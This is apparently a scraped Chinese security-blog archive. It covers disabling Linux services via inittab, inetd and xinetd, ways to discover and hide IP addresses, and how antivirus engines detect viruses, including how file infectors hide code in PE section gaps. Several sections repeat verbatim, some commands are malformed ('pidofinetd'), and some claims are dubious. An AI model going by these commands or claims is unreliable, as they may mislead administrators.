对于安全的远程服务访问,还有更多的事情可以做。应该恰当配置防火墙保护服务免受攻击。代理服务器、通过网关服务器端口推进以及网络地址转移都能有效减少服务攻击的风险。针对安全使用,那些用于登录正在运行的服务工具也应进行配置,例如,如果使用安全shell进行远程连接而没有使用X Server时,在SSH中调低X forwarding是很重要的。直接进行安全管理是保证Linux系统安全的重要部分,但是它也只是全面安全计划的一部分。
任何计算机安全措施的一个重要方面是维持实际控制服务的运行,让不必要的网络服务接受请求将提高系统的安全风险。即使这些网络服务对于服务器的某些功能是必要的也需要仔细管理,并且对其进行配置最小化不受欢迎的入侵和登录的可能性。
为Linux系统配置安全性时,使用/etc/inittab文件、runlevels和一两个服务管理“superdaemons”如inetd或xinetd直接管理服务。
inittab
/etc/inittab文件用于系统的初始化过程启动系统服务。在一个配置好的系统上,虽然它一般都不会包括很多服务,但是在某些Linux系统的默认安装中会加载很多其他服务。/etc/inittab文件内容有些模糊,它的重要之处在于让服务管理变得相对简单。
首先,可不要通过/etc/inittab文件方式向系统启动项中添加服务。
第二,不要移除/etc/inittab文件中第一个冒号之前其第一个字段是单精度型的数字,或整个登录服务的前面部分。以单精度数字开头的行可以打开TTY控制台,所有服务在它们打开之前都一一列出,甚至列出其更重要的功能。也许有些例外情况,在不改动它时是很安全的,尤其如果不确定的情况下请不要改动。
第三,/etc/inittab在导入和runlevel选择的时候用于过程管理。一般不用于正常的系统操作。
第四,在导入时由rc系统开始添加步骤,而不是init系统。如果看看/etc/inittab的内容,将会注意到登录以rc0到rc6这样的字符结束。这是初始化系统如何处理runlevels的说明。
runlevels
基于Linux操作系统的运转可以通过runlevels进行管理。不同的runlevels被定义成有不同的行为,就像Windows操作系统一样,它有正常操作模式、安全模式、在某些情况下还有DOS模式。
Runlevel 0用于关闭系统,如果软电源设置恰当,它能关闭系统电源。
Runlevel 1是单用户无网络的模式,它用于低水平的故障修复和管理操作。
Runlevel 2到Runlevel 5正常系统操作的多用户模式。Runlevel2和3是命令行模式,3有网络连接而2没有网络连接。Runlevel 5用于启动X Windows提供图形用户接口。
Runlevel 6用于系统重启,当整个init系统甚至bootloader 需要重启时采用它。
其他runlevels由系统管理员进行定义,但是“传统”UNIX系统没有此功能。这种情况下,他们不能被定义也不能被使用。
在shell处,可以输入runlevel命令找到以前的renlevel和当前runlevel。如果没有更改系统 runlevel ,命令的输出结果为大写N后面跟runlevel的数字,这里的N表示没有前runlevel,如果要更改runlevel,可以使用init命令,后面跟想要使用到的runlevel的数字。例如,输入init 6表示重启系统,或init 1 进入单用户模式。
配置runlevel的过程每一版本的情况都不同。例如,在Debian GNU/Linux系统中,位于/etc/init.d的服务脚本有来自/etc/rcN.d的路径与它们进行链接,这里的N表示需要配置的runlevel数字。以字母K开头的symlinks指示在进入runlevel时被杀死的程序,而以字母 S开头的symlinks指示在进入runlevel时被启动的程序。字母后面的数字值越大,从1到99,表示启动或杀死的时间愈靠后。
大多数基于RPM的版本都采用RedHat所用到的rc系统。比起基于Debian的系统,这一系统使用更复杂的路径结构,并且不同的基于RPM的系统之间也有很大的不同。说明书上提供了更多的关于管理runlevel的信息。
inetd
一个用于Linux后台程序管理的“superdaemon”是众所周知的inetd,它是个用于服务管理的命令行工具。终止服务很简单:首先,作为根用户用文本编辑器打开/etc/inetd.conf文件。接下来,找到文件中需要终止的服务。最后,在服务所在行的最前面添加#符号(其他还有“尖顶符”和“英镑符”),如下所示。“注释掉”这一行,因此inted以后都不会启动这一服务。
编辑之前服务登录可能是下面这样:
ident stream tcp wait identd /usr/sbin/identd identd
停止之后,服务登录变成下面这个样子:
# ident stream tcp wait identd /usr/sbin/identd identd
如果正在卸载被登录参考的后台程序,可以删除文件中的某些行——是否通过包管理器进行卸载或删除执行文件卸载(对于上面的例子是/usr/sbin/identd文件)。
编辑/etc/inetd.conf文件之后,保存它,inetd以后则可以使用更改。编辑和保存一旦完成,可以在根部输入下面的命令使更改即时生效:
kill -HUP `pidofinetd`
使用修改(保存)后的配置文件会导致inetd重启。
xinetd
另外一个称为xinetd的superdaemon比inetd更新颖更复杂,能完成更多的功能。但是对于关闭服务来说,他们的使用方法相似。
使用xinetd时,必须在/etc/xinetd.conf文件中添加一行关闭服务。如果只想简单的删除服务,必须删除好几行代码而不是一行。找到想要关闭的服务所在的那一块,在块的后面添加“disable = yes”这一行,或者删除整个块。例如,如果关闭telnet服务,需要像下面这样做。(这里的省略号代表了块的其他内容)
service telnet
{
. . .
disable = yes
}
在某些系统中,对于某些服务,服务配置并不在/etc/xinetd.conf文件中。例如,像telnet这样的服务有可能在文件/etc/xinetd.d/telnet中,改变其服务配置方法与它在/etc/xinetd.conf文件中的方法是一样的。
编辑保存了/etc/xinetd.conf文件后或者更改了服务文件后,可以输入下面的命令让修改即时生效:
kill -USR2 `pidofxinetd`
这将通知xinetd程序,使用更改后的配置。
Xinetd除了关闭或移除服务配置之外,还可以用于控制远程主机登录服务。这将通过几个机制完成:
可以为服务指定一个允许的主机。例如:可以通过在服务配置文件中添加only_from = 192.168.0.101这一行限制主机登录telnet服务。尽管使用了词语“only”,但是它只能限制主机的数目,而不仅仅只一台主机。也可以使用部分地址指定完整的网络。例如:可以使用“only_from = 192.168.0.to”表示本地Class C的任何主机都能访问这个服务。
可以在配置文件中为某个服务指定禁止的主机。例如:可以在配置文件中添加“no_access = 192.168.0.102”这一行禁止这个主机远程访问telnet服务。这个也可以使用多次而且也可以使用部分地址指定多个主机。万一某个主机满足only_from和no_access两个限制,则会权衡确定其访问权限。如果xinetd不能确定哪个限制能被应用,则系统默认更安全的选项——服务不会开启。
超越服务管理
对于安全的远程服务访问,还有更多的事情可以做。应该恰当配置防火墙保护服务免受攻击。代理服务器、通过网关服务器端口推进以及网络地址转移都能有效减少服务攻击的风险。针对安全使用,那些用于登录正在运行的服务工具也应进行配置,例如,如果使用安全shell进行远程连接而没有使用X Server时,在SSH中调低X forwarding是很重要的。直接进行安全管理是保证Linux系统安全的重要部分,但是它也只是全面安全计划的一部分。
如何防范自己的IP被攻击
[ 2007-03-25 02:37:47 | 作者: sun ]
在正式进行各种“黑客行为”之前,黑客会采取各种手段,探测(也可以说“侦察”)对方的主机信息,以便决定使用何种最有效的方法达到自己的目的。来看看黑客是如何获知最基本的网络信息——对方的ip地址;以及用户如何防范自己的ip泄漏。
获取ip
“ip”作为net用户的重要标示,是黑客首先需要了解的。获取的方法较多,黑客也会因不同的网络情况采取不同的方法,如:在局域网内使用ping指令,ping对方在网络中的名称而获得ip;在internet上使用ip版的qq直接显示。而最“牛”,也是最有效的办法是截获并分析对方的网络数据包。这是用windows 2003的网络监视器捕获的网络数据包,可能一般的用户比较难看懂这些16进制的代码,而对于了解网络知识的黑客,他们可以找到并直接通过软件解析截获后的数据包的ip包头信息,再根据这些信息了解具体的ip。
隐藏ip
虽然侦察ip的方法多样,但用户可以隐藏ip的方法同样多样。就拿对付最有效的“数据包分析方法”而言,就可以安装能够自动去掉发送数据包包头ip信息的一些软件。不过使用这些软件有些缺点,譬如:它耗费资源严重,降低计算机性能;在访问一些论坛或者网站时会受影响;不适合网吧用户使用等等。现在的个人用户采用最普及隐藏ip的方法应该是使用代理,由于使用代理服务器后,“转址服务”会对发送出去的数据包有所修改,致使“数据包分析”的方法失效。一些容易泄漏用户ip的网络软件(qq、msn、ie等)都支持使用代理方式连接internet,特别是qq使用“ezproxy”等代理软件连接后,ip版的qq都无法显示该ip地址。这里笔者介绍一款比较适合个人用户的简易代理软件——网络新手ip隐藏器,只要在“代理服务器”和“代理服务器端”填入正确的代理服务器地址和端口,即可对http使用代理,比较适合由于ie和qq泄漏ip的情况。
不过使用代理服务器,同样有一些缺点,如:会影响网络通讯的速度;需要网络上的一台能够提供代理能力的计算机,如果用户无法找到这样的代理服务器就不能使用代理(查找代理服务器时,可以使用“代理猎手”等工具软件扫描网络上的代理服务器)。
虽然代理可以有效地隐藏用户ip,但高深的黑客亦可以绕过代理,查找到对方的真实ip地址,用户在何种情况下使用何种方法隐藏ip,也要因情况而论。
另外防火墙也可以在某种程度上使用ip的隐藏,如zonealarm防火墙就有一个隐藏在网上的ip的功能。
获取ip
“ip”作为net用户的重要标示,是黑客首先需要了解的。获取的方法较多,黑客也会因不同的网络情况采取不同的方法,如:在局域网内使用ping指令,ping对方在网络中的名称而获得ip;在internet上使用ip版的qq直接显示。而最“牛”,也是最有效的办法是截获并分析对方的网络数据包。这是用windows 2003的网络监视器捕获的网络数据包,可能一般的用户比较难看懂这些16进制的代码,而对于了解网络知识的黑客,他们可以找到并直接通过软件解析截获后的数据包的ip包头信息,再根据这些信息了解具体的ip。
隐藏ip
虽然侦察ip的方法多样,但用户可以隐藏ip的方法同样多样。就拿对付最有效的“数据包分析方法”而言,就可以安装能够自动去掉发送数据包包头ip信息的一些软件。不过使用这些软件有些缺点,譬如:它耗费资源严重,降低计算机性能;在访问一些论坛或者网站时会受影响;不适合网吧用户使用等等。现在的个人用户采用最普及隐藏ip的方法应该是使用代理,由于使用代理服务器后,“转址服务”会对发送出去的数据包有所修改,致使“数据包分析”的方法失效。一些容易泄漏用户ip的网络软件(qq、msn、ie等)都支持使用代理方式连接internet,特别是qq使用“ezproxy”等代理软件连接后,ip版的qq都无法显示该ip地址。这里笔者介绍一款比较适合个人用户的简易代理软件——网络新手ip隐藏器,只要在“代理服务器”和“代理服务器端”填入正确的代理服务器地址和端口,即可对http使用代理,比较适合由于ie和qq泄漏ip的情况。
不过使用代理服务器,同样有一些缺点,如:会影响网络通讯的速度;需要网络上的一台能够提供代理能力的计算机,如果用户无法找到这样的代理服务器就不能使用代理(查找代理服务器时,可以使用“代理猎手”等工具软件扫描网络上的代理服务器)。
虽然代理可以有效地隐藏用户ip,但高深的黑客亦可以绕过代理,查找到对方的真实ip地址,用户在何种情况下使用何种方法隐藏ip,也要因情况而论。
另外防火墙也可以在某种程度上使用ip的隐藏,如zonealarm防火墙就有一个隐藏在网上的ip的功能。
安全的动力——杀毒软件引擎技术之窥探
[ 2007-03-25 02:37:30 | 作者: sun ]
一. 群雄逐鹿的杀毒软件市场
学校机房新购入了一批电脑,负责安装应用程序的李老师在杀毒软件的选择上犯了难,由于机房环境的复杂,如果不安装杀毒软件,势必会因为使用者带来运行的媒体介质感染了病毒而造成系统瘫痪或交叉感染,无论出现哪种情况都会影响上课进度和效率;但是,如果安装的杀毒软件功能不够强大,无法及时更新数据,一样不能防止病毒造成破坏。李老师考虑再三,还是决定来到电脑市场购买正版杀毒软件,但是面对市场上众多品牌的杀毒软件,他又犯了难:瑞星、金山、江民、Norton、趋势、熊猫、卡巴斯基、McAfee……每一款杀毒产品都具备它自己的优缺点和特色,我该选择哪一种呢?
二. 从病毒原理说开去
病毒的定义和行为特征
在这个年代里,计算机病毒(Computer Virus)已经是家喻户晓的名词了,而其在业界里也早已有了定义:计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据影响计算机使用,并能够自我复制的一组计算机指令或者程序代码,它可以是一个程序,一段执行代码,像生物病毒一样有独特的复制能力,可以很快蔓延。他们能把自身附着在各种类型的文件上,随文件的传播而蔓延。现在随着计算机网络的发展,病毒和网络技术结合,蔓延的速度更加迅速。计算机病毒具有可执行性、寄生性、传染性、破坏性、欺骗性、隐蔽性、潜伏性、衍生性。
以上便是早期就已经定义好的计算机病毒概念,而如今可称为病毒的,还有各种不会感染文件的特洛伊木马程序(后门)等(Trojan、BackDoor),大部分特洛伊木马除了不具备对文件的传染性以外,其他特征均与病毒符合,而且一部分文件型特洛伊木马还可感染文件。此外,还有一种通过系统漏洞进行传播的恶意程序或“蠕虫”(Worm),利用系统自带的脚本语言功能实现破坏效果的宏病毒和恶意脚本(Macro Virus、Evil Script),因此,文中将把木马后门、蠕虫、宏病毒和传统文件型病毒等统称为“病毒”。
自我复制
病毒的基本动作是复制自身,文件型病毒会把自身插入正常程序文件内部以便程序每次执行时连病毒代码也一并执行,恶意程序或木马后门会将自身复制到系统目录,然后通过多种途径令系统在启动时执行病毒体文件,但是无论是哪种病毒的复制行为,其最终目的都只有一个:潜伏到用户计算机内,伺机执行各种危害操作。
病毒在执行复制行为时必须隐蔽,否则它会轻易被稍有经验的用户发现,因此不同的病毒都会采取各种手段来实现其隐蔽目的,但是无论它们的表现形式如何,最终都可归纳为两种形式:寄生和欺骗。
寄生
这是文件型病毒的传播方式,文件型病毒的成品一般没有自己的独立程序体,它们通过受感染的可执行文件进行传播。当用户执行一个感染了文件型病毒的程序时,由于原程序的执行入口已经被破坏,因此病毒代码会首先得到执行,将自身载入内存中,成为一个“驻留程序”(TSR),根据病毒作者的破坏性差异,病毒可能仅仅停留在内存空间里等待用户执行程序时进行感染操作,也可能会主动出击,搜索用户计算机上符合感染条件的可执行文件进行感染。
较普通的文件型病毒会将自身代码放置到受感染文件的头部或尾部,而后修改文件头部的执行入口指向自身代码起始段,以达到自身先于受感染程序执行的目的,当病毒在入内存后,才会去调用受感染文件的真正执行入口,让受感染文件能够运行,这样用户才不会起疑心。在早期的感染模式里,文件型病毒通常会主动搜索感染可执行文件,甚至因为感染失败而导致文件损坏的事情也常有发生,而自从微软在Windows 2000开始引入“系统文件校验”技术后,主动搜索可执行文件进行感染的病毒寄生技术便因为导致系统不断出现“系统文件遭遇替换”的警告而逐渐退出舞台,继而换成守株待兔类型的等待程序执行后进行感染的被动寄生方式。较新的文件型病毒还会采取不感染系统文件的政策,让用户无论如何都难以发现文件被感染的痕迹。
但是直接把自身简单的插入文件首尾的寄生方式会导致文件体积和修改日期的变化,因此高级的病毒会自动根据目标文件内部的“无用”空间分配情况来将自身代码分段插入文件体内,并修改文件日期为原始日期,如此一来便加大了检测和查杀的难度。这一技术得以实现的原因是PE规范的特点:PE文件的每个节之间留有按簇大小对齐后的空洞,病毒体如果足够小则可以将自身分成几份并分别插入到每个节最后的空隙中,这样就不必额外增加一个节,因而文件大小保持不变,能做到这种形式的病毒体积必须十分小巧,否则它会把文件破坏掉的。当文件被执行时,病毒通过初始化代码的复杂计算将自身全部代码恢复连贯载入内存,继续完成下一次感染过程。
欺骗
并非所有病毒(注意此文的“病毒”所指范围)都是文件型的,例如特洛伊木马、蠕虫和恶意程序等,那么它们如何将自身隐蔽呢?这就要用到欺骗了。所谓欺骗,就是利用各种手段将自身执行文件植入系统,而不被用户轻易察觉,即使被发现,也难以判断真伪或者无法彻底删除,从最初的简单设置文件属性为隐藏,到现在的伪装系统核心文件、DLL形式,甚至驱动程序类型的隐藏,病毒技术的不断发展使得手工查杀增加了难度。
破坏
一个程序是否具备破坏性是衡量它是否属于病毒的一个重要标准,病毒的破坏是多种多样的,其实在它们进行寄生或欺骗操作时就已经对被感染的文件、以及受害计算机的环境完整性形成一定的破坏了,由于病毒需要驻留内存进行感染操作,直接导致的影响就是磁盘读写增加,计算机响应迟钝,更有甚者为了取得最高的响应速度,而修改系统正常的优先级设置让自己达到最高等级,从而导致系统效率严重下降。然而这还不是真正可怕的,当病毒发作时,可能会破坏你的文件档案,或者敞开计算机大门让入侵者随意进出,甚至通过特殊的软件读写达到破坏计算机硬件的目的。
三. 剖析杀毒软件的心脏——引擎技术
病毒和反病毒产品是天生的冤家,由于病毒永无休止的存在,反病毒产品这片领域自然也会出现众多厂商来分割的局面,因此也就衔生出了多种杀毒引擎技术。
杀毒引擎是决定一款杀毒软件技术是否成熟可靠的关键,什么是杀毒引擎呢?简言之,它就是一套判断特定程序行为是否为病毒程序或可疑程序的技术机制,引擎不仅需要具备判断病毒的能力,还必须拥有足够的病毒清理技术和环境恢复技术,如果一款杀毒产品能查出病毒但是却无法清除、或者无法将被病毒破坏的系统环境成功恢复,那它也只能是鸡肋。为了达到查杀病毒的目的,杀毒引擎自身要实施的行为就要比病毒还病毒,例如,为了及时获得环境变动的监控数据,一些杀毒引擎采用DLL的钩子技术将自身注入系统进程中,这一行为和DLL木马无异;而为了成功拦截查杀驱动级别木马Rootkit,杀毒引擎更需要将自身的一部分作为驱动形式运行,以便进入系统内核领域……说到这里,一些计算机配置较低的用户应该能明白,为什么自己安装杀毒软件后计算机速度明显变慢了,这多半是因为杀毒软件的“文件监控”等功能导致的,因为这一功能的实现原理就如文件型病毒的寄生过程一样,只不过文件型病毒是守候在内存中伺机感染每一个打开的文件,而“文件监控”功能是时刻驻守在内存里检查每一个打开的文件是否存在病毒,两者导致的后果都是程序载入内存的时间增加,在低配置的计算机表现得比较明显罢了。
由于以上提到的原因,杀毒软件是会不可避免的对用户计算机运行速度造成一定影响的,但是为了安全,大部分用户只能牺牲一点工作效率来换取安全了,那么,杀毒引擎的具体实现过程又是如何呢?且让我们来对其窥探一番。
1.守住每一个关卡——程序行为捕获
每个程序运行时都需要进行各种交互动作,如收发网络数据、响应某个触发事件、文件读写操作等,这些交互都被称为“行为”(Action),这个周期过程是可以被跟踪记录的,这就是杀毒引擎必须干涉的第一步,当杀毒软件的环境监视模块启动后,它会嵌入系统的操作接口,使得任何非核心程序和除了杀毒软件自身程序的运作过程都要被它实时监视,这一技术通常通过钩子技术和驱动层挂载实现,每个杀毒软件厂商都预先定义了一套病毒行为判断规范,即在一个给定的范围和置信度下,判断相关操作是否为合法。例如一个代码执行后被发现试图将自己写入用户请求执行的程序文件体内、或进行特定的复制动作和添加注册表操作,则可将其怀疑为病毒,移交给查毒过程的第二步进一步判断处理。
为了实现行为捕获操作,杀毒软件引擎必须将自身模块嵌入系统底层,在这个实现方法上,各大厂商都有自己的一套方案,一般厂商普遍采用的是中间件技术,即通过Hook挂钩方式实现对每个进程的访问,这种方案通过在系统底层与应用程序之间嵌入一个全局钩子DLL模块达到目的,从严格上来说,它的相对安全和稳定性较低,但是在源代码不开放的操作系统层面上,这是最简单的方法。
一部分厂商因为与操作系统厂商存在合作关系,因而获得了较其他厂商杀毒产品要高的操作系统特权,所以他们采用的方案是基于系统最底层的系统核心驱动,这种实现方式是最安全的,或者说最高级的实现方式,至今只有Norton获得了这个特权。随着病毒技术逐渐渗透到Rootkit层次,过去的Hook技术逐渐有点力不从心,于是杀毒厂商开始转入驱动方案,当然,由于没有操作系统厂商的授权,他们并无法实现最底层的核心驱动解决方案,于是杀毒厂商编写了一个称为“软件驱动”的中间件,用于在系统中产生一个虚拟硬件。众所周知,在操作系统中,只有驱动模块能通过一个“硬件抽象层(HAL)”的通讯接口而到达系统底层,如今流行的Rootkit木马也是采用驱动形式进入系统核心的,因此杀毒厂商使用“软件驱动”来实现底层监视的方案是要比一般的Hook技术效果显著的,但是这也不可避免会出现一些问题,如果这个“软件驱动”存在缺陷或者被某些程序异常终止(例如出现未预料的错误),在系统底层无任何保护措施的环境下,最直接的一个后果就是系统蓝屏崩溃,造成可能的损失。
引用(小知识:系统的几个“层”)
操作系统作为一个复杂的运作体系,其内部是必须实现一定的功能模块来进行分工合作的,这些功能模块像金字塔一样层层堆积,形成了系统的几个“层”,分别是系统核心层、硬件抽象层、用户层。
系统核心层(Kernel Layer)位于整个操作系统的最底层,负责系统的基本运作,在这一层里的所有行为都由系统内置的指令来实现,所有外界因素都不会对这一处的行为造成影响。能直接进入这个层交互的程序不多,除了操作系统自身,第三方厂商若要能在此层直接工作,必须和系统厂商建立合作关系,使用系统厂商提供的接口函数才能进入。目前能在这个层面直接工作的杀毒软件只有赛门铁克的Norton AntiVirus。
硬件抽象层(Hardware Abstraction Layer)是美国微软公司为了便于操作系统在不同硬件结构上进行移植而提出的将系统底层与硬件相关的部分独立运作的思想,HAL为系统实现了“硬件无关性”,即在不同的硬件平台上,硬件与操作系统的交互也不会有所差异,这样一来,硬件厂商开发驱动的难度便能大大降低,HAL将硬件的接口细节隐藏起来,并为操作系统提供一个标准硬件交互接口,目前所有的硬件驱动都工作在这个层面上,当外界硬件存在指令请求时,驱动程序响应请求并将指令通过HAL转换为系统核心层能理解的指令交给内核执行,如果未找到相应的驱动程序类型,则将其视为“默认硬件”(Default Hardware)处理,什么叫“默认硬件”呢?最简单的例子就是进入安全模式,这时候大部分驱动程序不会被加载,此时的系统便是工作于“默认硬件”上。大部分使用“软件驱动”解决方案的杀毒软件就是在HAL层上虚拟了一个硬件来达到与核心层交互的效果,如McAfee、卡巴斯基等,瑞星2006也是通过这个方案实现了内核交互。
用户层(User Layer)就是平时我们直接看到的部分,例如桌面,大部分杀毒软件也是在这一层运行的,主要用于用户接口交互和将指令传递到杀毒引擎。一般运行于Ring3的程序行为也产生于此,一个应用程序产生的指令要求首先被传递到HAL层,HAL层将其解释处理为核心层可以识别的指令串,然后提交给核心层最后进入CPU的指令处理循环,CPU处理完毕后将结果反向送回到用户层上的应用程序,最终得到运算结果。
2.检测的核心——基于引擎机制的规则判断
这一步环节可以称之为病毒判断的核心阶段,一个好的杀毒引擎能在这个阶段识别出相当规模的病毒,其原理是在引擎中内置一部分病毒的特征代码,称为“基于特征码的静态扫描技术”,即杀毒引擎直接在文件中查找自身携带的特征代码,力求尽量在这一步发现病毒。早期的计算机用户应该记得,当初的杀毒产品并没有非常大的病毒特征数据库,甚至KV300+的所谓病毒特征数据库还是ASCII格式的,并由用户自己手工加入,仅仅作为一种简单的扩充手段来运作而已,这是因为KV300+的主程序内就已经包含了当时各种流行病毒的特征码。
但是如今由于网络普及和计算机技术发展,病毒攻势铺天盖地而来,如果单纯靠杀毒引擎自身携带病毒特征代码,将会造成主程序体积过于庞大而无法高效率运行,且升级麻烦等难点,因而杀毒引擎不得不将病毒特征库从自身脱离开来,形成独立的病毒数据库结构来与自身保持联系,这就是“基于特征码的静态扫描技术”的扩展产物:病毒特征代码数据库。
3.在翰林辞典中穿梭——引擎与病毒特征库的交互
由于上述原因,如今的杀毒软件已经不得不采用外部数据库连接的方法来达到识别病毒的效果,病毒特征代码数据库中以特定格式储存了各种病毒的行为标识和静态代码,在工作时,杀毒引擎需要将捕获到的程序行为转换为它自身可以识别的行为标识和静态代码,然后进入病毒特征代码数据库中查询并期待其返回查询结果,因此这个步骤是整个杀毒过程中最慢的,但是不可否认,当前的杀毒软件对大量病毒的识别都是在这个阶段完成的。因此一个足够庞大的病毒库往往能够弥补杀毒引擎的不足之处,但是当今病毒越发复杂和繁多,如此长期以往,病毒特征库将会有一天过于臃肿而导致不良后果,要解决这个问题,只能在核心技术上尽量实现将病毒检测工作在第二步完成,只可惜在当前我们仍然没有能够实现这个想法的杀毒引擎技术,因此如今的杀毒软件或多或少都依赖着一个几十MB的病毒特征库来维持工作,杀毒厂商在杀毒引擎核心未进行关键修改时发布的病毒更新其实也就是为了往这个特征数据库中添加最新发现的病毒数据,以达到查杀新病毒的作用。
“基于特征码的静态扫描技术”的最大弱点在于它无法发现和查杀“未公开”或“未收录”的病毒,由于它的大部分判断依据来自病毒特征代码数据库,一旦用户被感染了病毒中的“0day”或“私人后门”,杀毒软件就无能为力,甚至落得个被病毒终结运行的下场,当然,由于杀毒软件自身的校验机制,一般不会有病毒愚蠢到去感染杀毒软件,但是如果一个杀毒软件被病毒终止了,它就无法对用户的计算机实施病毒防护了,但是如何判断阻止由病毒发出的关闭指令,而不影响用户正常点击杀毒软件自身提供的“退出”功能,这也是个难题。
一部分杀毒引擎会通过自身的病毒行为判断规范来“怀疑”某些未收录在数据库中的程序为病毒,并询问用户需要什么解决方案,一般情况下,杀毒软件最折衷的默认解决方案是将被怀疑动机不纯的程序文件改名备份到一个被称为“隔离区”的文件夹中,然后将该原始文件销毁。这样做或许能达到查杀未知病毒的目的,但是我们也不能忽视其可能带来的严重后果,例如某个关键文件或重要文档感染了病毒,如果杀毒软件不由分说就将其消灭,那就很可能引发系统崩溃甚至经济损失,因为一个健全稳妥的查杀过程和环境恢复是很重要的。
4.月光宝盒——病毒查杀和系统环境恢复
当杀毒引擎检测到病毒时,需要分为两种情况对待,首先是尚未来得及进行感染或破坏行为的病毒,在这种情况下杀毒引擎只需要简单删除文件就可以了,但是日常操作中用户面临最多的还是已经被病毒实施感染破坏行为后的系统环境,在这种情况下,杀毒引擎必须在使用适当的方式查杀病毒后,根据病毒特征库中记录的病毒行为来智能判断当前系统环境遭受破坏的情况并进行恢复,例如对于受病毒感染的文件,杀毒引擎必须根据一定的算法在文件体内找出病毒代码寄生的部分并给予清除,这个过程必须非常谨慎,否则直接的后果就是导致原文件被破坏,这样的杀毒就毫无意义了。而对于非文件型的木马和恶意程序,由于它们会通过各种方式篡改系统注册表甚至系统文件来达到加载自身之目的,杀毒引擎在清除了这些病毒后能否准确有效的恢复受破坏的系统环境,就是对杀毒引擎的最大挑战。病毒隐藏技术已经从最初的简单加载单一启动项,演化到今天的多重启动项、进程互相保护、线程监视、远程注射、可执行文件关联、服务项目加载、驱动形式加载等方式,甚至采用多项结合的方法,使得查杀工作变得十分困难,甚至只要遗漏了一个文件未能清除,病毒便能卷土重来,因此,如何有效准确的判断和修复受损环境,也是衡量杀毒引擎技术是否成熟的关键。
以上说的是杀毒引擎完整工作过程的原理,那么,它所采取的技术有哪些呢?目前,主流的技术有两种:虚拟机技术、实时监控技术。除此之外,还有两种最新的技术仍在试验阶段,分别是智能码标识技术和行为拦截技术。
1.虚拟机技术
一提起虚拟机,部分读者可能就会联想到VMWare去了,然而这里提到的虚拟机并非如此。在反病毒界里,虚拟机也被称为通用解密器,已经成为反病毒软件中最重要的部分之一。杀毒引擎的虚拟机技术并非是为病毒提供一套计算机仿真系统,让其在内部折腾直到暴露出病毒行为特征,在这里的虚拟机是指杀毒引擎模拟出一个仿真CPU,这个“CPU”具备和真正CPU等同的指令分析功能,杀毒引擎将待检测的程序代码读入“CPU”中逐条指令循环执行,直到出现特定情况才结束工作,在这个过程中探知程序是否具备病毒行为特征或者暴露出病毒特征码。这就是杀毒引擎的“虚拟机技术”,它的目的就是让程序文件在没有实际运行的情况下得到运行后的结果,最初虚拟机技术是为了对付变形病毒而产生的,因为变形病毒会将自身代码以一定的方式进行多次变换,这样传统静态特征码扫描技术就对其无能为力,因为它根本无法确认特征码,但是即使再强悍的变形病毒也不可避免在运行时出现一段相对固定的机器码,否则它自身也无法正常运行完成变形过程,而由于这段机器码只有在运行时才能被捕获到,因此工程师开发了“虚拟机技术”诱使病毒在杀毒引擎产生的“CPU”里尽情运行,而后根据其固定机器码匹配病毒特征数据库中的静态特征来判断这个程序是否病毒。虽然这个技术可能会导致误报,但是仍不能否认其是一种有效的方法。
2.实时监控技术
实时监控技术,说白了其实就是一个文件监视器,它会在文件打开、关闭、修改等操作时将其拦截并送入查毒模块进行分析,而在如今的操作系统中要实现对所有文件操作的拦截并非易事,这需要涉及系统核心,因此,这里所采取的方案原型,就是“软件驱动”。通过驱动进入核心,便能获知每个文件的操作情况并做出反应了。这项技术的难度在于驱动代码的编写,由于内核没有异常处理过程,在这里执行的代码稍有一点错漏都能直接导致系统崩溃,且驱动与用户层的实时交互也需要一套复杂的实现方案,因此只有一定实力的厂家才实现这项技术,且实现了这项技术的厂家大部分都会连同虚拟机技术、静态特征码扫描技术一起结合起来,最终形成自己的产品。
四. 结语
许多用户都在挑选杀毒软件时犯难,实际上,如果抛开许多表面上的东西,杀毒软件的引擎实现技术也就那么几个,关键在于杀毒厂商的研发能力和实际工作效率,也不能只凭杀毒软件在对付某种病毒的差别上就断定它们之间的地位差异。符合自己使用的,就是最好的。
学校机房新购入了一批电脑,负责安装应用程序的李老师在杀毒软件的选择上犯了难,由于机房环境的复杂,如果不安装杀毒软件,势必会因为使用者带来运行的媒体介质感染了病毒而造成系统瘫痪或交叉感染,无论出现哪种情况都会影响上课进度和效率;但是,如果安装的杀毒软件功能不够强大,无法及时更新数据,一样不能防止病毒造成破坏。李老师考虑再三,还是决定来到电脑市场购买正版杀毒软件,但是面对市场上众多品牌的杀毒软件,他又犯了难:瑞星、金山、江民、Norton、趋势、熊猫、卡巴斯基、McAfee……每一款杀毒产品都具备它自己的优缺点和特色,我该选择哪一种呢?
二. 从病毒原理说开去
病毒的定义和行为特征
在这个年代里,计算机病毒(Computer Virus)已经是家喻户晓的名词了,而其在业界里也早已有了定义:计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据影响计算机使用,并能够自我复制的一组计算机指令或者程序代码,它可以是一个程序,一段执行代码,像生物病毒一样有独特的复制能力,可以很快蔓延。他们能把自身附着在各种类型的文件上,随文件的传播而蔓延。现在随着计算机网络的发展,病毒和网络技术结合,蔓延的速度更加迅速。计算机病毒具有可执行性、寄生性、传染性、破坏性、欺骗性、隐蔽性、潜伏性、衍生性。
以上便是早期就已经定义好的计算机病毒概念,而如今可称为病毒的,还有各种不会感染文件的特洛伊木马程序(后门)等(Trojan、BackDoor),大部分特洛伊木马除了不具备对文件的传染性以外,其他特征均与病毒符合,而且一部分文件型特洛伊木马还可感染文件。此外,还有一种通过系统漏洞进行传播的恶意程序或“蠕虫”(Worm),利用系统自带的脚本语言功能实现破坏效果的宏病毒和恶意脚本(Macro Virus、Evil Script),因此,文中将把木马后门、蠕虫、宏病毒和传统文件型病毒等统称为“病毒”。
自我复制
病毒的基本动作是复制自身,文件型病毒会把自身插入正常程序文件内部以便程序每次执行时连病毒代码也一并执行,恶意程序或木马后门会将自身复制到系统目录,然后通过多种途径令系统在启动时执行病毒体文件,但是无论是哪种病毒的复制行为,其最终目的都只有一个:潜伏到用户计算机内,伺机执行各种危害操作。
病毒在执行复制行为时必须隐蔽,否则它会轻易被稍有经验的用户发现,因此不同的病毒都会采取各种手段来实现其隐蔽目的,但是无论它们的表现形式如何,最终都可归纳为两种形式:寄生和欺骗。
寄生
